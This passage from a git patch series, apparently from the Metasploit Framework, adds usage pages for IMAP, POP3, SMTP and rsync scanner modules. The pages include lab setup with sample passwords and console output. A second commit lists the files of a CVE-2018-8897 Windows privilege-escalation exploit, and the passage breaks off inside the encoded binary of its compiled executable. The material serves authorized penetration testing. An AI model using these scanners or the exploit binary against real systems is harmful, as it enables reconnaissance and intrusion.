.../auxiliary/scanner/pop3/pop3_version.md | 34 +++++ .../auxiliary/scanner/rsync/modules_list.md | 118 ++++++++++++++++++ .../auxiliary/scanner/smtp/smtp_version.md | 35 ++++++ 4 files changed, 246 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/imap/imap_version.md create mode 100644 documentation/modules/auxiliary/scanner/pop3/pop3_version.md create mode 100644 documentation/modules/auxiliary/scanner/rsync/modules_list.md create mode 100644 documentation/modules/auxiliary/scanner/smtp/smtp_version.md diff --git a/documentation/modules/auxiliary/scanner/imap/imap_version.md b/documentation/modules/auxiliary/scanner/imap/imap_version.md new file mode 100644 index 0000000000..e8848616f2 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/imap/imap_version.md @@ -0,0 +1,59 @@ +## Description + +This module identifies the version of IMAP in use by the server, as well as some of the login options. +Any IMAP sever should return this information. + +## Vulnerable Application + +### Install Dovecot on Kali Linux: + +With this install, we'll only install IMAP for dovecot, as the other protocols are not required. However, this is unrealistic +in a production environment. + +1. ```sudo apt-get install dovecot-imapd``` +2. ```/etc/init.d/dovecot start``` + +## Verification Steps + + 1. Do: `use auxiliary/scanner/imap/imap_version` + 2. Do: `set rhosts [ips]` + 3. Do: `run` + +## Options + + **IMAPPASS** + + A password for an IMAP account. + + **IMAPUSER** + + A username for an IMAP account. + +## Scenarios + +### Dovecot 2.3.2 (582970113) on Kali + + ``` + msf5 > use auxiliary/scanner/imap/imap_version + msf5 auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216 + rhosts => 10.168.202.216 + msf5 auxiliary(scanner/imap/imap_version) > run + + [+] 10.168.202.216:143 - 10.168.202.216:143 IMAP * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN] Dovecot (Debian) ready.\x0d\x0a + [*] 10.168.202.216:143 - Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` +## Confirming + +### [nmap](https://nmap.org/nsedoc/scripts/imap-capabilities.html) + +``` +# nmap -p 143 -sV -script=imap-capabilities 10.168.202.216 +Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 18:43 EDT +Nmap scan report for 10.168.202.216 +Host is up (0.000044s latency). + +PORT STATE SERVICE VERSION +143/tcp open imap Dovecot imapd +|_imap-capabilities: LITERAL+ more AUTH=PLAINA0001 IDLE have LOGIN-REFERRALS ENABLE OK Pre-login listed capabilities post-login ID STARTTLS IMAP4rev1 SASL-IR +``` diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_version.md b/documentation/modules/auxiliary/scanner/pop3/pop3_version.md new file mode 100644 index 0000000000..1283ff5e9c --- /dev/null +++ b/documentation/modules/auxiliary/scanner/pop3/pop3_version.md @@ -0,0 +1,34 @@ +## Description + +This module identifies the version of POP3 in use by the server based on the server's banner. +Any POP3 sever should return this information. + +## Vulnerable Application + +### Install Dovecot on Kali Linux: + +With this install, we'll only install POP3 for dovecot, as the other protocols are not required. However, this is unrealistic +in a production environment. + +1. ```sudo apt-get install dovecot-pop3d``` +2. ```/etc/init.d/dovecot start``` + +## Verification Steps + + 1. Do: `use auxiliary/scanner/pop3/pop3_version` + 2. Do: `set rhosts [ips]` + 3. Do: `run` + +## Scenarios + +### Dovecot 2.3.2 (582970113) on Kali + + ``` + msf5 auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version + msf5 auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216 + msf5 auxiliary(scanner/pop3/pop3_version) > run + + [+] 10.168.202.216:110 - 10.168.202.216:110 POP3 +OK Dovecot (Debian) ready.\x0d\x0a + [*] 10.168.202.216:110 - Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/scanner/rsync/modules_list.md b/documentation/modules/auxiliary/scanner/rsync/modules_list.md new file mode 100644 index 0000000000..6ab23df945 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/rsync/modules_list.md @@ -0,0 +1,118 @@ +## Description + +An rsync module is essentially a directory share. These modules can optionally be protected by a password. This module connects to and +negotiates with an rsync server, lists the available modules and, optionally, determines if the module requires a password to access. + +## Vulnerable Application + +### Configuring rsync on Kali Linux: + +Rsync is installed by default on Kali, however we need to configure some modules for the scanner to find. Step three will +create the secrets files which we'll use to test the authentication mechanism. Much of this is based on the guide from +[atlantic.net](https://www.atlantic.net/cloud-hosting/how-to-setup-rsync-daemon-linux-server/). + +1. ```mkdir /home/public_rsync2; mkdir /home/public_rsync3; mkdir /home/public_rsync``` +2. Create the configuration file: + + ``` + echo -n "[read only files] + path = /home/public_rsync + comment = Files are read only + read only = true + timeout = 300 + + [writable] + path = /home/public_rsync2 + comment = Files can be written to + read only = false + timeout = 300 + + [authenticated] + path = /home/public_rsync3 + comment = Files require authentication + read only = true + timeout = 300 + auth users = rsync1,rsync2 + secrets file = /etc/rsyncd.secrets + " > /etc/rsyncd.conf + ``` + +3. ```echo -n "rsync1:9$AZv2%5D29S740k +rsync2:Xyb#vbfUQR0og0$6 +rsync3:VU&A1We5DEa8M6^8" > /etc/rsyncd.secrets``` +4. ```chmod 600 /etc/rsyncd.secrets``` +5. ```rsync --daemon``` + +## Verification Steps + + 1. Do: `use auxiliary/scanner/rsync/modules_list` + 2. Do: `set rhosts [ips]` + 3. Do: `run` + +## Options + + **TEST_AUTHENTICATION** + + Connect to each share and test if authentication is required. + + **VERBOSE** + + When set to `false`, each module will be listed. When set to `true` each module will be listed, then a summary + table will also be printed including if authentication is required, and any module comments. `false` is the default value. + +## Scenarios + +### rsyncd on Kali (using above config) + +With verbose set to `false`: + + ``` + msf5 > use auxiliary/scanner/rsync/modules_list + msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216 + rhosts => 10.168.202.216 + msf5 auxiliary(scanner/rsync/modules_list) > run + + [+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated + ``` + +With verbose set to `true`: + + ``` + msf5 > use auxiliary/scanner/rsync/modules_list + msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216 + rhosts => 10.168.202.216 + msf5 auxiliary(scanner/rsync/modules_list) > set verbose true + verbose => true + msf5 auxiliary(scanner/rsync/modules_list) > run + + [+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated + + rsync modules for 10.168.202.216:873 + ======================================= + + Name Comment Authentication + ---- ------- -------------- + authenticated Files require authentication required + read only files Files are read only not required + writable Files can be written to not required + + ``` + +## Confirming + +### [nmap](https://nmap.org/nsedoc/scripts/rsync-list-modules.html) + +``` +# nmap -p 873 -sV -script=rsync-list-modules 10.168.202.216 +Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-12 16:32 EDT +Nmap scan report for 10.168.202.216 +Host is up (0.000045s latency). + +PORT STATE SERVICE VERSION +873/tcp open rsync (protocol version 31) +| rsync-list-modules: +| read only files Files are read only +| writable Files can be written to +|_ authenticated Files require authentication + +``` diff --git a/documentation/modules/auxiliary/scanner/smtp/smtp_version.md b/documentation/modules/auxiliary/scanner/smtp/smtp_version.md new file mode 100644 index 0000000000..f20d26d2e8 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smtp/smtp_version.md @@ -0,0 +1,35 @@ +## Description + +This module grabs the banner from an SMTP server. + +## Vulnerable Application + +### Postfix on Kali Linux: + +This is mainly based on the instructions from [digitalocean.com](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-postfix-on-ubuntu-16-04). +In this case, we don't need to configure all the users and set up the server fully, just enough to display a banner. + + +1. ```apt-get install postfix``` + 1. Select `Internet Site` + 2. Select OK, the default is fine +2. ```systemctl restart postfix``` + +## Verification Steps + + 1. Do: `use auxiliary/scanner/smtp/smtp_version` + 2. Do: `set rhosts [ips]` + 3. Do: `run` + +## Scenarios + +### Postfix 3.3.0-1+b1 (Ubuntu package number) on Kali (using above config) + + ``` + msf5 > use auxiliary/scanner/smtp/smtp_version + msf5 auxiliary(scanner/smtp/smtp_version) > set rhosts 10.168.202.216 + rhosts => 10.168.202.216 + msf5 auxiliary(scanner/smtp/smtp_version) > run + + [+] 10.168.202.216:25 - 10.168.202.216:25 SMTP 220 rageKali.ragegroup ESMTP Postfix (Debian/GNU)\x0d\x0a + ``` From 156b8224013638c86a8f0f4e5009efce7ad548f8 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 12 Jul 2018 17:31:53 -0500 Subject: [PATCH 144/217] First stab at cve-2018-8897 --- .../cve-2018-8897-exe/cve-2018-8897-exe.exe | Bin 0 -> 131584 bytes .../source/exploits/cve-2018-8897-exe/Error.h | 10 + .../cve-2018-8897-exe/KernelRoutines.h | 66 +++ .../exploits/cve-2018-8897-exe/LockedMemory.h | 88 ++++ .../exploits/cve-2018-8897-exe/Native.asm | 146 +++++++ .../exploits/cve-2018-8897-exe/Native.h | 30 ++ .../exploits/cve-2018-8897-exe/NtDefines.h | 72 ++++ .../cve-2018-8897-exe/cve-2018-8897-exe.cpp | 387 ++++++++++++++++++ .../cve-2018-8897-exe/cve-2018-8897-exe.sln | 22 + .../cve-2018-8897-exe.vcxproj | 160 ++++++++ .../cve-2018-8897-exe.vcxproj.filters | 44 ++ .../windows/local/cve-2018-8897-exe.rb | 137 +++++++ 12 files changed, 1162 insertions(+) create mode 100755 data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe create mode 100644 external/source/exploits/cve-2018-8897-exe/Error.h create mode 100644 external/source/exploits/cve-2018-8897-exe/KernelRoutines.h create mode 100644 external/source/exploits/cve-2018-8897-exe/LockedMemory.h create mode 100644 external/source/exploits/cve-2018-8897-exe/Native.asm create mode 100644 external/source/exploits/cve-2018-8897-exe/Native.h create mode 100644 external/source/exploits/cve-2018-8897-exe/NtDefines.h create mode 100755 external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp create mode 100755 external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln create mode 100755 external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj create mode 100755 external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters create mode 100644 modules/exploits/windows/local/cve-2018-8897-exe.rb diff --git a/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe b/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe new file mode 100755 index 0000000000000000000000000000000000000000..ee84f13825f7023e206d2a72850cdc2e653a5758 GIT binary patch literal 131584 zcmeFadwi2c_CKC92@R#;Ns&MS(EveMi*_51&q z*DHCRIcKhC&YU@O=FFt{mvttK$z-zPYZxZeIy~v)6Tkn*kJ)4zc=m>YrhoL`Hfo(Y zxNX#R3+||Nmsi|%d&S&eyUXU@dFNdr_pP_NE5diW@3_2H~Ib3iFx;05uTDU<=!RYx$NG7;yL-=JUly|UvO_fJZ(2Ud+$6v?fs{U z`1bzG63-=x=W_A9=8m!jl=pvYNlB5(H1C0arcWBD-IR>eWg2Z7kd|pOdCVm1{dVL$V%YcQM2`@&J{7m@V8eJ%*ywj>1Pjxi{dDnxBhv?H0u zZ8DW!P%&?AXs*e$`dL7U63^qAgJ++Q510#NG}8j2TNm(W;<@!F@#-%qmk~u9(N1n3`NEt;~SYp^o9lh=$enKU+X z+kUf2%N_YHJtFY}EpngT8P3->8pcV(SZOlVX@%Z<#%QdK-#`f>_Z8%aoJgRH1c)5^ zG;Y-*O?ey6K;7~;8?NUF!(5NhL!a=J2=%NdY>;&xd0u0e8?L(qv{hqWhU;4Kz9UHQ z)5QA+8ta*_oLxh$MOK*?Ymoz80q^$EAT82pkGyBss*js&CeyNm@pP^1JuNyhFTl1N zt}L08;j-g}KQ|nS4NFkB6$<$70NW8@n>2Q_$EUGH9!+B*Pl?8sd1h&mO>T9LdW(9q zW^{tQeQB)ej=*TMDONgGk{;o46fWrv_ouKg5%yh6bk}rSo1f^gSBsjv8_gjbKldDJ zOcRxLQ&Vpr`lD%Dbh=$*jS?u*=V{CwU>$zesOi^v+(t>Z#%9>HLd_l?$OaVJ!}d4K z$SCiori<(4GnJv{oes3WFfD9(!whtvqC_0j?CxjHrW9E45AjM~{yvqVOOAt~-25V< zUdyy>l4M$Ky%wG0)O6PsNU14B?W@i%7#j-sIaTU^Y2VUeKi9rFNcn%X@5#acNBd|zim?Z3s;md?;-6=m zOi?e9QMY;iV>X4;@iG7}T679}9(23elZW=WK`bAo^=U1j1xBDj)t^NpyL3GXd4AD2 zD!xn8gPt5-mxTd}m?d(cP$ppK94&YM{NC}SJC40#HW{un#uGobf|%>qPVq+Qsf>3}hOA#AYr<;Yro}HPZ_T+tW78mVrrI_Asyxlo zX1H|Zszv(+*;IQm@*0jthg_O|1F*X>bRI_0ylAw^6d$6o?fi@}$Xs`51icW@{BB~Q zAMvKKW-4_S4boDO#+T%y#Q0)+gSy{SK*PhQMK&9TYXnNJtygLuMLUA1WP!#KxIlG1 z%~D!*BRve4S;P$8wLw4`YW>xDlr}VA9nCw`5jQoRp8Y#A%H==J+AXuj!*IPIV+~Gb zE%MTgu@3+a9v3;MhN^h+U3u0zQjiaWAODNwG$`{g*$hlR(L-Qz4NXZ18 z@fyLdK(84?ImA_aUDtQZxx_qd5;0g0EAQo^#7hO^Exbh`XDQ zLtIHHLeO}Q9Lj+V-wZVitb4M99*)-$o1Z)zE!J&U9S5;=*XKR-aQu@np92HXqauxC z3)1jMF__T9qX0fjByhZm1bl@AXC$kW(m@=Op% z0juG96slDIEdC#B;`&b)>pr7h7@uJiFtQ?7mRcVI%-}~%(5i@j4g1$Qp z*F*sc2T$*>GiA(6{`dasCu0rl&F|2;W>dB7o3b{o`WQ7txqqsVs?Ef(iGE0OZIFFD zQ=J*m|GMe~G3lWNn20rIn?xOxze$VM`mEHbuOr9Ol!q?r52Yh|lf5`v#?d+DFPcq7 z`Jelv^E`Qm>wc7s?#O*oP|k2oMz{!EXeBPpE6U%zeiP_JA}Kte+waLUE44pDNnHOQ z)a~sILb=kBM0smB2yeLJ=b)Rn|47}e)HqQv3Vd!5MCKM$lwbuC#t61H0V^d~^c~L= zXa%n(#(>18$Pplz?Qv@w(Esq%0UgA1mUzD7DZ%qab9h9g)f}}|AQJxo1#3~;RJ=1= zDSlr}BXnBSb}gaTO7z(RtrFTwXlvAV385dCXtzL*CbT^~GSX^~+FS^Lyx&^zuvI}k zp^)zpkW>&d+hs<}lT`R(EKw8li)-3bcq`K;YL-^zEp@P_-xlQ!?4L_JF0nnEg=9{;gTs1Na4xdmAf^KPj) z63+;-mG zEG;~+YFU<-f=)}+QTaY31KSD}vua|tNRlm+WT!V# zl6nv;(nCocT3G`NW+TlMq>(-85d3@@ica?A2)r}bNW?(Py3sQ3K(m-jk&wZtEa#PBBPz6ER+; zsz|y_|Iu(gEi>Cs5r2V*lJ)GEv>^WohjH02H(j$#gI-8n`Xgdu$X~gOVz_@U#t|7K zQ^Ytq>Syx!?H@%Rhj&sQAOBp89Wsv&5o5z?F?2_(L^lAbS}OHe0)u9Bcd67(MeO_ZR!B`AZY?r{Xt9oG|jqs^l*CpkOI?PPTC`{#Sosep@!C?< zX)|qvuw8>*YbjdegxUgpJ^u}IOz>Bo8^huq8nTdfs`A$RhU?b=X>8^?)cqQ&%Umj- z&8$cGehOdRoBA3=-I(A`<*hx2>mo{vIj1RWALmrLKhCraW1$0$n%@aFBY!wgQLLf|RuL_i7o5*1|Z$PR<`Hg3pP5KQdMENh^9U1STjGyj} z@(jSqDn?|K_bJMKRJQKuq4&Gw`76BvRWan@jJX{$h1wTr+v0h+6QFXjg)qUOxr|hw_{-m zT0MAr+WCFbPVZChWSRCsO8YyRb_S(2T$l7oku6i)_$XpIWr~@UqEx0BCR3#KN%7?f zL6^mp;#2fJ+BSw#Tp&|?1<5JtVz}B6HA#}!Wit0;i24_q?9gxVeiUK~&3dCxvPb$P zTOyO)LCMNxvVT&tdYNo#pJcQ9BvWOwzyASI3uUqulq@QfO{Qe24|5D}Lz|fGL=QbO z&9oqM_OWkZed^RA>z*Ll9{OGrK~_gWsox4fp#X#qC(x@1E#GsuXi>+;EtI!w9Ujc_ zG6gIm0gA1mVxzAAAz-AjM~i&crB#1jo`&?%!RGv**w>_eg2phJ{R3Gt&vEo2blu{uPno&rr3sHDY^TM!0SQuYsx_19`QhX(QO z#JBZ{#K-{D=wo6`*}vRDcC|go%&1s^ZGpKVkPB6Q%ROfVbSrGfWQa;xp(^hxX064! zTZ;8Fvov-sD%TjuZ47vuDhmR-YT%_}Rv@?iNLVpIZ{_yTVfydCS@P*TLYr0mbI+gpkP-jP$W}}s= zv%&(xHCt)bPSb(|9T}?;5sZ_{gRcm_P_s2}OXayirlRG0cz~*3YlKR*$ck){!KE;S zJj`6=;gtx2hnXud#+^vnig7QYdkzrVqX#$Xd7;?Gnkg=zY!# zo5n047i(&^7Jwd$$ZQoNBTiqVAV^}P!Lkf$CJda8o+l8vD-qa7f%7OJJ_&k-JWfHX z09hc3Oj_-(&@VN1b+#5cE{Zi%vFNd`iYWp_bkQteMDO-{E=op{b<=XYzz-VR9VDw< zTf!VjDhJsIVmCtD4MciCzUKw`rep`a^_Ac^up+~}-p12uxPS;DNw+CPHx>55@Yg}X zub|s75W>F-BuF$IRFK&t+|+CVLYO!EKm}O`fTUz&`hq4>>Xe_ODkVzhOEo5g)ANsm zY)3H5O0uPXd&i5$(4`=p_qcMuY*>p%gP?x#gakKT?W}-B+T3iVaoW&l{7~Opvw9mN z3MG5!)gmSJx+Fh%R?{<43}qe4oURWx2U$HIdP-|hhDEYRf;O@Z#53O0%0R>Rku<(0 z)i7$0+!_-6kdMKdWQQT>Wn*y}Mlb(}#IP`Zgs#=t8R$Cj@s40_BaOT~{vfiW!O9le zwcHqq9UH#^`md&2FO&QV^EUOQZoQD0I1d42aC5Q?`BV%cN#Y>H0)7G-`7Ztjee{B-Jrvv4ejHaf!_)$l-85{u&swE(R*uCFghw2 zy~7@i-t7!Vm!gcNZY_FujuyQU^uD7&i_Y~u`5RSxc+l25e1dFLkRdihY=+nju^D1B z#Ab-i=K74gwWpdCry1Y=_-5fd4Bt`sj>GpNd<&cW6ahc|=_iYRhSAR``WZ(*7tv3l zwAD@`^#E*PtHm><6xwN*s2-$PVmF1q$84!FpB-B_linF3-fdOz+=1N zJerKr6TRDLy>SN0IF?4gGLp1&ZB6K&ILo}NBSg{m=xJu2lr=%5$c&KlRBV?W=0oR)XV+E@!+ia=_ z){IzC1+iIQOM)a3K3zvh~S#}62(IlS~0r$hhTnTQ`czpA#pMXUL%uDkjb{6 zn(P^ojBN2gNf(sqTr%CsQ`6lp(-EJa`st&;c^&3PY>8!Q4GqruM;iB>?@z0)t_z^3Y=#mdb{)tq05|bLAN~T#t?j zu)`1>N1nfBPJlHv0r^)T)0F$K$Kda7NDp1w-Czz4SZ&P+7_Fp&bYtoBE z%O{%=$AXeX#~e}aN;{$|D@C2=(CAi=aK|V*tAV z>?> ze1m}X1Z)SS9*}l|bP}X1{3>OMs;*RW8f0 zmexgah_YnAR~2VkKo8oHC^G|1u_#&nC9VdwG?_rkI`OT;z`OWUG4N>I1}v?;V^1?S zCx@RHds-xx)@S^Qu?LtnHU1J~FRb>CyGRT|mc}qT#N0dXARC&R`t&DOJs5s83S-NE zFyOy{uI!<%>_P$5!P)3bCqXfF4wl)em~*qjA5izkAC`SR1)%19&+)u9OfZgz(A! zEdkI+z&rxF5iJi8H$hN|%#84Bl;cmjw@?2xg9@ z=S+%TGWe_F%@H2WpA$$}1Rp~Y zl#58OMQ3*KcG^topc?W=N8uHstGI_OZVQi*7J0K&1(!f?E1lhhWJUS)v~@saaq}xs z0nkY59viSQH|f)}dGTm!aw`m!hU>iyYLo4SW8(2RJ!-(`z?ycZ-1zl2YRcqx?C5FU_KGZuqoeNm`$#Ds9#6xIe!W}s zepnG8+}+eJEM6vR4TeS2&qUv2TjgMX(X>rHVz&(bBq9v_47=fKmdIxW@?*-8w}>?a z$Siz=V4)^eyM$Jd()9{V2QJIuaj5ay(T)-IM>~vGps^Q^7Jsr{I#6sjYlRNe`!HQS zLdqmqQL}5&5-7wz3|!59EvaESFo%HK9<4`nT>R;gFyxzHF~;5ueqpbO|4P%B!9+g( zTr^BC$wS^iK8#Qu&lWH(kKdF-48rY+aFFc)3y>Y$$DQMV>fzsr++bz<5oB+uD z8Ucguh8E1Benz#>j+uL@CttS{Kh%fPjCQd(L_D33Dx7hN;H#Jgd`n|cq=66E)mfUZ zW$|*LY1q_DvPj-Z>YZ&cou~B9*AO$McfOif7xmF1kvGw97HGEsj8~4u#1gk~8O);< zBGlLKLBVh~pNoyww~2PqY(5TFZPpa~3qoW~ILKcqfK_@U5f6mUG+aIDv~!^RUAM3DI^fnb7e?yguv+t+QetGJgCOLLfZbYs} zU`;3Y#qlEJ&jaX6;PC6|Cp*jvZ=rVLS>ckUv!)l1C01vEpvMBl^BFZNG@kbv>)lg+WeNPJ>#6Pa`pl`yfrp=_-0kKmp6 zyFzT?+o{mc2oMGUwf&SBOLzPQ4?YlSK;-ENPa)=d8q*!3L}ZkkDGH;mj7<9O--wFE zuI~5}Z~UcSh|Codd7Dw+G{dzWaBzR3;XqI`VkRV$btKB|vY~7t{`gx|8#MeuVOD74 zzlTyv;Us)Y0)IlK@_i#J zVt+-f@2YF-*7YRiV;5gc9Vg$1h{4(`zx`y{xB&uuX2Sc{SH!y5M}8I)@p(6hP#2jr z9lKIyr3P$fYO&o*0c7l7HQ_G2*6vekKcYTijzvd^?;e1m5~7=!J`b%_YF?7qsRFw| zV0*-n2(m9}-!CT!D-L4AcJ>_xH=Kbr@5zdLsDCb|*oEogwD>`S-HHun!!=f9(Lwk@ z^cqb!u%qPo_Ar%hmq>&^6yY8VCLr&@ur28A39S#ZgVcCPwIlS*OO-5Z;Eq2IZVS`E z(H&Rf!AFv0*IgA7R7Ri-fa;21RZ%338bMzK!{@Zv&fYFbBM~nFp|Wkf2uzHp;aY~e zK!}NXnyfW&5ft;tZ1ra0DoD(`D|QR=Pt4OkSe4=map4yjj*u+q^EO_rf!YXsMH!GM zn$0qtYE1rar>?AL@!yIqMBA=m6v1`k5A;Z_te0Uii6Jd`SeRb(gkZ$7fAUP6(kT8V zRN+F~FB%OaWX<0PPwO(Zr053t7TlogS>!h5A&m(yoOL-KT6#oRRg~+t= zry*L<(*u%?l>*0ylv3Y7g#pTmO%}XDec0FDK!)9;d$pI+(Hs~B>Q+19%2Tr|H0Q#YbV|d z@qS_AeH7k@N^nL^cX+*~`^^UU(QiH}et#6dKZxHG;`g}tJtlr(Lj+?;6*8%>D>=6B zhC)%warEFJrKmEls2=d61Rq!24%`powWt$8*hF`QhIFSnL)i4`k5z&lW@?Si$}>uQ znm!YYqPC=(j(HMt3ocU7*HJ2#0}#a{x-ItgCf^_6?H(=ejAt@Z<##Fm2I%yDR@A{} zZeqptLA|)saQz2t7t~>O4X~SF*1gXiU*B!`lkth3llBJ1r3@Tfa356JDoB;d2 zm|^XGoL4L$vkNSz(IJe}=0c!ss?*qkrQJp-sdWL%9J_a+b;TFnh4z)50rIASu?u3s za8*&^WmBAfHX}1=fziy*oY3$g|Az+jl1!~EE#Peo4IqcD#=)w0bHz9KseCfPtR7hF zqk*#EDiDLVA_tNLnnfB$DS0eomXXTroLfX&en!ViHHqDuN$JW($6!z8gCceyznedK zJ7xpcg%y*He+-tz(v%F+eoraeqee0eHDWi=*z(t>6g@Lmasj47qThE%0?@j;S5+dYnEa=*|!xo z)mms?F&ZA+g{pPsaKCrdGMC>w*Sbc2CzQ(Pa3Pr!CZx-l=woArKy7{VoU7<{?ECPmaUioH1?3Eic)|# zz*yw{E(_47U@YG3DQPi_3^84ac@BC!t$S$wL+c<~577yfQp|Rd(hd}?!D8j(d=c^v zvZ_wX8Uq3Pj%u`%#}ELfxCspA1N)Zt(Q9cJCYr_bsZ!o2;FM&l9LUFtDz2gsR&`ho z&#?0>f<;A)Uduc+RGxz%LVfF}Ox95{NM!2-Gm`D}xuX#^kgNEG%4%`<$%nw4f zqQ>UYh?>*HUl(z)O&paaA55$j9~W@h?P8^vfUlHrA~}h68jA^C8cO-C0!cnxCKOya z9Bj+3LBYGihr!oW;!W6giFfx+a{;A^J|Xx^MCg;>Ac;#9Mk@o~Oih2qQ-T=^4$^Pf zs4ccL{|b3Yrjyz=R_cjId+>m|@z5Yz)bAxt0u~*U;?$fn7 z@%a!&46OuV7=V1G2$v|%RaNLefJy;^EU6+33xefJR+KPWw3;9RsJFUp-c1A${`|F_ zRD5)1Re%j5P^nf{%LT~qS)j4nE~+Hp<%C?KtgWR3S3&UXEJ*uR0XEr38&-LQh5K+( zJIN8eyWu}q=eGTRnBf|890f3)T1#e?!JMeEiKx+6&f~~hVpzc|0fvR|X=|{AzdM-{ zUyBZ}BbxKqMELrG#5m$lOMHPJCSnrnLDm+u2tFV|vmG@-RMd~EN6m24&imE3P^PCH zDv4pgfD|{7=Z;?kuRC756_2QG#^2Cky6xWtj5;PzC~EtK1fF}R0BRC=kp%ux0ByN4 z^pMQud>L9Ra?yIgCBglmw!&3+Gqa@ zk-m3Q-4G#7Mup1>Yv{xC5t-K(ibiAFOwl;0cYQKKJ}=39VxJI2`i|ekN+~poHv(0) z(rLoB9=id>wDIcziQ^3pt76Yr7H80bSo^z4CUDt+c`)|Wwh9`@kaIWvwdtYEFjfK?hM_w$j`Q@ zY`0q7b;q5z1*#8EyY0>}BkCDl34^j`zqF6{aM!)hEjdJz906RbE}V+_DeH`##A3K zr{{?3#y5`rU__3)7ke~xn5>zmJh!uQu%FqMzX$hN9QE+ytOs7>>44pV7avsi5o+}T zlhUQAI60$~nwAYfL@Oc&fL}*z1}|SWnrg*PM6Dj`Z>p5C;b8wtikgO~XHoWm46ZC` zv6=rTNuU$Yo5f*uLXD`LK#wykFKDst2b^S9i)}C7;Qem$b+@=fgIjFxAq?>f%tpLn zF$ZRVwVE`E9OC~x$i~PfC+r|XFNLlk?S7c8Uer#RtnNbk-pLB57};T{6UPk9-Q#}+ z=AMULN}91QArH1kP!OL0FfnEx?FPu10JDOa9=L4`)ueVE%>>cfR;rgSLKxVP6!mtP zDK5dZvLF=+ENr;GK0*9K$zO0@Xa~6~Z3!@89clCzxb}Cz2tI=G=hNA&t^V_--PeFemy*LW?4u` zx?vwk9=0k+eXyBSE%q~Dern~nVig2)SM3cD5kdAIx!%Bx@B@0BpyL76^u=j7NrMH8 zP4hP2gFL(FJTfMK{n`upd{Oug>a!f|H|+-NQ9_#8irMyJ>eD?qtivy-oLEO}6A(NL zH54Y*z>BrAUM;7P) zo0*FB@s|em30MEwY=RE5q?lnp8taX%Jd#MNBPsbIZs!+?8qx~NmVxMj$hY>Ow`=*< z_*niaP;x=>kY^PVMD4V)5N-I7FBOG%P!`+K!J79+rRHktUXbfw0L1(V^m1Sj3u`y8 z!fI;k>A-~q{0Ya-{JE$;0w!g>P~VE#&H$^&%nY{|aN7_*4wX)D+hMXh)2_=k)E)4Y z#EEuV+vSl4IV-@>{#HI=A;b!nkRQ^r38q9~(CKJI%>wEJ(mSyk69;7}kjD>*H%Kz9 zh`_$7wNPSD18bpj_bIkmEmGQQ$~TJH0hkXkz+sl9nhxVDAxslB)e<$0shFdD1(%0D zqe1XVVi0`bD<}xH^Q#b_Wn+3-!u@zHW?M%U6l3krJ|z3(T*?CLL$pPy-2(37XCo5! zC6!w2otpHS5H{PnL8>A#E;WDfbYL?(t zu;_X#-uOO21$km|HpL>^sOw-F#cMmK121HiMM*Wk0Icc?lTve$K=Ojk=4u0NUNbT(iU51Js$8@=YiXwhm4z7)ls`6eKIuoeg(!?YQ8eYnG zAqH*oUc+aJH&+OTso9j#E2MnEEbSB|-oc-g;cyY!Xil`PjXxlu9ic%9@zusd5)vMn zB-Hl$%dfn3Km3by&)F~|>L+xe%%@57&k))O=_{-kD%^Tx+X^TH;<=Fpk6 zB+BE%Kc{oA;r{$75S*FfBWbYYNr&7reY}@7H@f;wq$g`} zzjY2|-&EZ|Vs9PoTSkrzRF$a>O^B&7f1_3Cs7bqAIdq^Um`TeMd!NGh^mveczn)Y# z?#DKN9Z1_mXGq0v@)^7Y87DVHvvGtxeor8J7IA__i=GWKCSry#MQrDfBNxd=A#827 z^4DXD83sl;_$qDZAEF-u(SFqK!Tdj9v=&n)mHajFTy}i8l=76cq?E)$cu1nC%VZ6I z2k$%96n9bI_vNOij|$fop{yjg+R3YRmYnKAgoK`+Tv|mY_1g=k#*Hvd|3H7S??ZQz zDdsG#aO4I6LZ$pN3=~x021HpyQDE?$LDTP4(GFVOlgc4>(eimSg}p8JWCKz)v2aot zb}rJR_&78e%m5#VCVLzbzyfQ!W@&*fsa~=~-*p->^JU^b75L9ULo-1`%im?VI%A?L zLwOS>BFGrSH6IWVX*a^)ExCG=d{xZU0xTK>Y$qqyScgWEzSGAhRK!rrkAiHo8addb zcAH=q+!;DUg`;Y5S&8*%N6@lUD{Bpo*%>Hnn$8A0HTbnNcpX?~*t=DW63SH8s+LG+ zm-a-^(i+T1QJX~#Vx#tmA$=%^?2g0u5L7NP(d@?=c5!fmDk9tF!Fmm<006iyA|1`4 z@tx$;K6~`SGzvQ+d2wTJd^;w0P>vK-eh~?7A@0NH6xw#9srQ@(P3!uRn0FY5Q1Uw7 z1(5Akm1&=<-cQ5gG8{}uy{8V)M{taw>Z`C||JU-_gfKFqT8Ju8;nwq0g?qpiZWR0p z_M_N@8HkxEetU1xV(adIDf+*c-M8(DhJTFJb)w<9#FA+J2X7@>KMR#ew!R*~-YPUE z81BEdJ~c*CYuV&(ME*V@D85!BJD?AKFHN|lFrJGsa#}@#$%^cN!6jLd%aRq@uX^`~ 